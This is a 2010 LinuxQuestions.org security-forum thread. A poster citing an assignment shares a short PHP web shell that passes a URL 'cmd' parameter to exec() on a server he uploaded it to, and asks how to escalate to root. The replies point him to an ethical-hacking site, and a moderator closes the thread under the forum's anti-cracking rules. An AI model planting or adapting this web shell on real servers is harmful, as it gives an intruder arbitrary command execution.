LinuxQuestions.org
Register a domain and help support LQ
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices

Closed Thread
 
Search this Thread
Old 12-01-2010, 07:15 PM   #1
Rahil Parikh
LQ Newbie
 
Registered: Nov 2010
Posts: 15

Rep: Reputation: 0
Privilege Escalation - Getting 'root' privilege


Hi,

Currently as a part of an assignment I need to implement a reverse shell on a linux system. The system details are -

Quote:
Linux Kernal Version - 2.6
Database - MySQL
Using web-server I could upload a php file which could execute the command on behalf of me. Now, I want to get root access so that I can get access to system's core files.

My sample php file -

PHP Code:
<?php
    
if((!empty($_GET['cmd']) && isSet($_GET['cmd'])))
        {
            echo 
exec('whoami').'@'.exec('hostname').':'.exec('pwd').'$'.' '.$_GET['cmd'];
            echo 
'<p></p>';
            echo 
exec($_GET['cmd']);
        }
?>
Thanks,
Rahil
 
Old 12-01-2010, 08:25 PM   #2
John VV
Guru
 
Registered: Aug 2005
Posts: 12,833

Rep: Reputation: 1709Reputation: 1709Reputation: 1709Reputation: 1709Reputation: 1709Reputation: 1709Reputation: 1709Reputation: 1709Reputation: 1709Reputation: 1709Reputation: 1709
please read the forum rules and then
http://www.ethicalhacker.net/
 
Old 12-02-2010, 01:04 AM   #3
unSpawn
Moderator
 
Registered: May 2001
Posts: 27,134
Blog Entries: 54

Rep: Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791
Per the LQ Rules, please do not post homework assignments verbatim. We're happy to assist if you have specific questions or have hit a stumbling point, however. Let us know what you've already tried and what references you have used (including class notes, books, and Google searches) and we'll do our best to help. Also, keep in mind that your instructor might also be an LQ member.

More importantly though any posts containing information about cracking or any topic that could be damaging to either LinuxQuestions.org or any third party are a violation of the LQ Rules.

Thread closed.
 
  


Closed Thread

Tags
privileges, reverse, root, shell


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
LXer: This week at LWN: A privilege escalation flaw in udev LXer Syndicated Linux News 0 05-05-2009 08:31 PM
Intel CPU Privilege Escalation Exploit H_TeXMeX_H Linux - Security 4 04-22-2009 03:57 PM
CVE-2008-0009/0010/0600 (Linux Privilege Escalation Vulnerabilities) jayjwa Linux - Security 14 02-21-2008 06:50 AM
Linux Privilege Escalation The.Hammer.911 Linux - Security 1 05-10-2007 06:07 PM
LXer: Postgresql Privilege Escalation and Denial of Service ... LXer Syndicated Linux News 0 02-16-2006 02:01 AM


All times are GMT -5. The time now is 04:39 AM.

Main Menu
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
identi.ca: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration